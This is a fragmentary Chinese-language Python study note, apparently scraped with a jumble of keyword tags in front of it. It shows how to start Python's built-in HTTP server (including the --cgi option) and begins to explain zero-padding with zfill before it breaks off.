running executor 服務器 RoCE 進行 break python buffer 創建 ProcessPoolExecutor對multiprocessing進行了高級抽象,暴露出簡單的統一接口。 異步非阻塞 爬蟲 對於異步IO請求的本質則是【非阻塞So

python學習筆記

1、Python HTTP server win環境需要加cgi引數 python -m http.server --cgi 8000 其他如下: python -m http.server 8080 ​ 2、指定位數不足補零 zfill方法: